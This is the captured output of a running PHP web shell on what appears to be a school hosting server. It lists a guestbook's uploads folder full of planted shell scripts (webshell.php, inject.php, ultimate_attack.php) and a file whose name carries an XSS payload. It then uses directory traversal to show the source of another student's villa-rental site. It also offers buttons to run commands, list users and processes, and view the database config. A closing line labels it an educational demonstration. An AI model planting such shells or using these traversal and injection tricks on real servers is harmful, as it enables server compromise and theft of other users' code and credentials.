🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../586648.klas4s23.mid-ica.nl/public_html/VillaVerkenner/index.php

<?php
// Include the database connection class
include 'includes/header.php';
include 'includes/databaseConn.php';

// Get database connection
$db = new Database();
$conn = $db->getConnection();

// Fetch first 3 published villas with their main photo
$sql = "SELECT v.villa_id, v.titel, v.plaats, v.omschrijving, v.prijs_per_nacht,
        f.bestandspad as main_image
        FROM villas v
        LEFT JOIN fotos f ON v.villa_id = f.villa_id AND f.is_hoofdfoto = 1
        WHERE v.is_gepubliceerd = 1
        ORDER BY v.villa_id DESC
        LIMIT 3";
$stmt = $conn->prepare($sql);
$stmt->execute();
$recommendedVillas = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>


<!DOCTYPE html>
<html lang="nl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vakantie Villa Verkenner - Jouw Droomvilla in Noorwegen</title>
    <link rel="stylesheet" href="css/style.css">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">

</head>
<body>



<main>
    <section class="hero-section">
       
        <h1>VIND JOU DROOMVILLA IN NOORWEGEN</h1>
        <a href="VillaPage.php" class="btn">Ontdek onze villa's</a>
    </section>

    <section class="recommended-villas-section container">
        <div class="intro">
            <h2>Aanbevolen villa's</h2>
            <p class="subtitle">Unieke locaties</p>
            <a href="VillaPage.php" class="btn">Ontdek onze villa's</a>
        </div>
        <div class="villa-cards-grid">
            <?php if (!empty($recommendedVillas)): ?>
                <?php foreach ($recommendedVillas as $villa): ?>
                    <?php
                    // Prepare image path
                    $imagePath = 'images/villa.png'; // default
                    if (!empty($villa['main_image'])) {
                        $imagePath = $villa['main_image'];
                        if (strpos($imagePath, '') !== 0) {
                            $imagePath = '' . $imagePath;
                        }
                    }
                    
                    // Truncate description to 80 characters
                    $description = $villa['omschrijving'];
                    if (strlen($description) > 80) {
                        $description = substr($description, 0, 80) . '...';
                    }
                    ?>
                    <div class="villa-card">
                        <a href="VillaInfo.php?id=<?php echo $villa['villa_id']; ?>">
                            <img src="<?php echo htmlspecialchars($imagePath); ?>" alt="<?php echo htmlspecialchars($villa['titel']); ?>">
                            <div class="villa-card-content">
                                <h3><?php echo htmlspecialchars($villa['titel']); ?></h3>
                                <p><?php echo htmlspecialchars($description); ?></p>
                            </div>
                        </a>
                    </div>
                <?php endforeach; ?>
            <?php else: ?>
                <div class="villa-card">
                    <img src="images/villa.png" alt="Geen villa's beschikbaar">
                    <div class="villa-card-content">
                        <h3>Geen villa's beschikbaar</h3>
                        <p>Er zijn momenteel geen villa's gepubliceerd.</p>
                    </div>
                </div>
            <?php endif; ?>
        </div>
    </section>

    <section class="welcome-villaverkenner container">
        <div class="text-content">
            <h2>Welkom bij VillaVerkenner</h2>
            <p>
                Bij VillaVerkenner specialiseren we ons in de bemiddeling en verkoop van exclusieve villa's en vakantiehuizen in de meest adembenemende regio's van Noorwegen. Of u nu droomt van een moderne architectonische parel aan een fjord, een traditioneel Noors huis bij de bergen, of een afgelegen landgoed met uitzicht op het noorderlicht, wij helpen u de perfecte villa te vinden die aan al uw wensen voldoet. Ontdek onze unieke collectie en begin vandaag nog met het plannen van uw droomvakantie.
            </p>
        </div>
        <div class="image-content">
            <img src="images/interieur.png" alt="Interieur van een Noorse villa">
        </div>
    </section>
</main>

<?php include 'includes/footer.php'; ?>

</body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!